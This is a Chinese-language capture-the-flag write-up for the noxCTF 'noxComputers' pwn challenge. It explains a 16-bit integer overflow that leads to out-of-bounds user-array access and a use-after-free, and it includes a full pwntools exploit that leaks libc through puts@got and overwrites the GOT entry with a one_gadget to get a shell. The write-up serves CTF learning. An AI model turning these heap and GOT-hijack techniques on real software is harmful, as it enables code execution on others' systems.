[noxCTF] noxComputers

题目链接

相关结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct user
{
void* username;
void* computer_tmp;
unsigned_int amount_of_computer;
unsigned_short_int id;
unsigned_short_int amount_of_money;
unsigned_int eligible_for_disconut_flag;
}

struct computer
{
void* computer_name;
void* manufacturer_name;
unsigned_short_int price;
unsigned_int serial_number;
unsigned_short_int if_buy;
unsigned_int if_super_fast;
}

漏洞点:

  • buy_multiple_premium_users函数由于premiums_amount是unsigned int16类型,在stdint.h文件中可以看到其定义,所以unsigned int16的范围是0~65535,当65535 + 1时就会造成整数溢出,结果等于0,从而绕过对premiums的检测达到user数组越界

stdint.h

Integer Overflow

uaf

漏洞利用:

  1. 创建1个user,购买1台电脑,让computer_list数组有一个堆空间
  2. 利用数组越界,将computer_list[0]的地址变成user[1152]结构体的地址
  3. 将user[1152]+24的位置(if_buy标志位)置为0,为了触发free user[1152]
  4. 新建一个user[1153],这时user[1153]结构体所在的堆块就是user[1152] -> user_name的堆块,而user[1153] -> username 所在的堆块就是user[1152]结构体的堆块,将user[1153] -> username 写成puts_got相当于user[1152] -> username = puts_addr
  5. 打印user[1152]信息,泄漏libc,得到one_gadget地址
  6. 更改user[1153] -> username = one_gadget相当于hijack puts_got –> one_gadget
  7. trigger getshell

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
#context.log_level = 'debug'

p = process('./noxComputers')
elf = ELF('./noxComputers')
'''
What would you like to do?
1. Buy a premium user membership
2. Buy multiple premium memberships AND BE ELIGIBLE FOR UP TO 70% DISCOUNT!
3. Buy a computer
4. Show account details
5. Edit account details
6. Return a computer
7. Exit
'''

def buy_a_premium_user(username,money):
p.sendlineafter('choice: ','1')
p.sendlineafter('username: ',username)
p.sendlineafter('account: ',str(money))



def buy_multiple_premium_users(username,money,stop = 'n'):
#p.sendlineafter('choice: ','2')
#p.sendlineafter('buy: ',str(amount_of_premiums))
p.sendafter('press Y: ',stop)
p.sendlineafter(': ',username)
p.sendlineafter('user: ',str(money))


def buy_a_computer(idx,computer_name,manufacturer_name,super_fast,pay_money,if_buy):
p.sendlineafter('choice: ','3')
p.sendlineafter('id: ',str(idx))
p.sendlineafter('name: ',computer_name)
p.sendlineafter('name: ',manufacturer_name)
p.sendlineafter('computer?(Y/N): ',super_fast)
p.sendlineafter('pay: ',str(pay_money))
p.sendlineafter('(Y/N): ',if_buy)


def show_account_details(idx):
p.sendlineafter('choice: ','4')
p.sendlineafter('id: ',str(idx))



def edit_account_details(idx,username,money):
p.sendlineafter('choice: ','5')
p.sendlineafter('id: ',str(idx))
p.sendlineafter('username: ',username)
p.sendlineafter('account: ',str(money))


def return_a_computer(idx,computer_name):
p.sendlineafter('choice: ','6')
p.sendlineafter('id: ',str(idx))
p.sendlineafter('name: ',computer_name)

#user_list = 0x6040E0
#computer_list = 0x6064E0

#add a computer
buy_a_premium_user('a',9)
buy_a_computer(0,'a_computer','a_manufacturer','Y',1,'Y')


#use Integer Overflow to overlap computer_list
p.sendlineafter('choice: ','2')
p.sendlineafter('buy: ','65535')

for i in range(1151):
buy_multiple_premium_users(str(i),16)

buy_multiple_premium_users('fake',8)
p.sendafter('press Y: ','Y')


#free user[1152]
edit_account_details(1152,'pwn',0) #set buy_flag = 0
return_a_computer(1,'fake')



'''
add user
new user_struct --> old user_name
new user_name --> old user_struct
make the new user_name --> puts_got
And therefore, the old 'name' will point to the puts_got
'''
p.sendlineafter('choice: ','2')
p.sendlineafter('buy: ','64385') # 65536 - 1151 = 64385
puts_got = elf.got['puts']
buy_multiple_premium_users(p64(puts_got),9)
p.sendafter('press Y: ','Y')



#leak libc
show_account_details(1152)
p.recvuntil('Username: ')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('puts addr : 0x%x' %puts_addr)
offset_puts = 0x000000000006f690
libc_base = puts_addr - offset_puts
log.success('libc base addr : 0x%x'%libc_base)
one_gadget = libc_base + 0x45216


#hijack puts_got --> one_gadget
edit_account_details(1152,p64(one_gadget),1)

p.interactive()

参考文章: